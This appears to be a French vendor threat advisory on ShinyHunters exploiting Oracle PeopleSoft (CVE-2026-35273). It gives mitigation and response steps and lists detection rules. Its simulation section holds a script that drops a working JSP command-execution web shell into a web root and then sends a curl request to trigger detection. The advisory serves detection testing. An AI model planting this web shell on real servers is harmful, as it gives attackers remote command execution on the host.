ShinyHunters Reprend les Attaques à Grande Échelle Ciblant Oracle PeopleSoft
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
L’acteur de menace UNC6240 (ShinyHunters) a repris l’exploitation à grande échelle des systèmes Oracle PeopleSoft via CVE-2026-35273. La campagne utilise des chemins encodés en URL pour contourner les pare-feu d’application Web (WAF) et accéder au point de terminaison vulnérable Environment Management Hub. Les attaquants déploient plusieurs web shells aux côtés de la porte dérobée SIDEEYE pour établir la persistance, maintenir un accès non autorisé et faciliter l’exfiltration de données.
Investigation
Mandiant et Google Threat Intelligence Group ont documenté une transition de l’exploitation de zero-day en juin 2026 à des attaques N-day contre des environnements non corrigés. Les chercheurs ont identifié l’utilisation de l’encodage en URL (/PSEMHUB/) pour contourner le filtrage WAF basé sur les chaînes. L’analyse a révélé une séquence d’attaque récurrente impliquant une validation de cible via des objets Java sérialisés, suivie du déploiement d’installateurs trojanisés et d’utilitaires de tunneling.
Atténuation
Les organisations doivent immédiatement installer la mise à jour de sécurité Oracle adressant CVE-2026-35273 et désactiver ou supprimer l’application PSEMHUB. Les configurations WAF doivent inspecter et bloquer les chemins d’URL normalisés au lieu de s’appuyer uniquement sur une correspondance littérale des chaînes. Les équipes de sécurité devraient également faire tourner les identifiants accessibles depuis le niveau web et examiner les répertoires d’application pour détecter des fichiers suspects ou non autorisés.
Réponse
Si un web shell est découvert, les défenseurs doivent considérer l’hôte affecté comme entièrement compromis et conserver les preuves forensiques avant la remédiation. Activer l’audit au niveau de l’hôte pour identifier les processus shell inattendus lancés par le processus Java WebLogic. Faire tourner les identifiants exposés, y compris les chaînes de connexion aux bases de données et les identifiants cloud, tout en examinant l’activité réseau sortante à la recherche d’indicateurs C2 connus.
Flux d’attaque
Nous sommes encore en train de mettre à jour cette partie.
Détections
Possible énumération de système (via cmdline)
Contrôle et commande suspicieux par requête DNS de domaine de premier niveau (TLD) inhabituel (via dns)
Manipulation possible de chaînes encodées en Base64 (via cmdline)
Téléchargement/Upload de fichiers à distance via les outils standards (via cmdline)
IOCs (HashSha256) pour détecter : Campagne d’exploitation de masse renouvelée de ShinyHunters ciblant Oracle PeopleSoft
IOCs (SourceIP) pour détecter : Campagne d’exploitation de masse renouvelée de ShinyHunters ciblant Oracle PeopleSoft
IOCs (DestinationIP) pour détecter : Campagne d’exploitation de masse renouvelée de ShinyHunters ciblant Oracle PeopleSoft
Déploiement de web shell via exploitation de CVE-2026-35273 [Création de processus Windows]
Exploitation de UNC6240 de Oracle PeopleSoft utilisant des web shells [Serveur Web]
Exécution de simulation
-
Narration de l’attaque & Commandes : L’adversaire identifie une instance Oracle PeopleSoft et cherche à exploiter une vulnérabilité. Pour contourner les signatures WAF simples recherchant la chaîne « PSEMHUB », l’attaquant utilise l’encodage URL pour demander
/PSEMHUB/. Après une exploitation réussie, l’attaquant dépose un web shell nomméx.jspdans la racine web pour fournir une interface persistante pour l’exécution de commandes. Cette séquence imite les indicateurs spécifiques de compromission (IOCs) identifiés dans la campagne d’exploitation UNC6240. -
Script de test de régression :
#!/bin/bash # Script de simulation pour détection de web shell UNC6240 # 1. Définir les chemins (À ajuster en fonction de l'environnement cible) WEB_ROOT="/var/www/html" SHELL_NAME="x.jsp" TARGET_URL="http://localhost/PSEMHUB/" echo "[+] Création du web shell simulé : $WEB_ROOT/$SHELL_NAME" # Créer un contenu simple de web shell JSP echo '<% out.print(new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("A").next()); %>' | sudo tee $WEB_ROOT/$SHELL_NAME > /dev/null echo "[+] Déclenchement de la détection via requête encodée en URL..." # Utiliser curl pour demander le chemin encodé afin de générer l'entrée de journal curl -s "$TARGET_URL" > /dev/null echo "[+] Simulation terminée. Vérifiez SIEM pour détection." -
Commandes de nettoyage :
#!/bin/bash # Script de nettoyage WEB_ROOT="/var/www/html" SHELL_NAME="x.jsp" echo "[+] Nettoyage des fichiers de simulation..." sudo rm -f $WEB_ROOT/$SHELL_NAME echo "[+] Nettoyage terminé."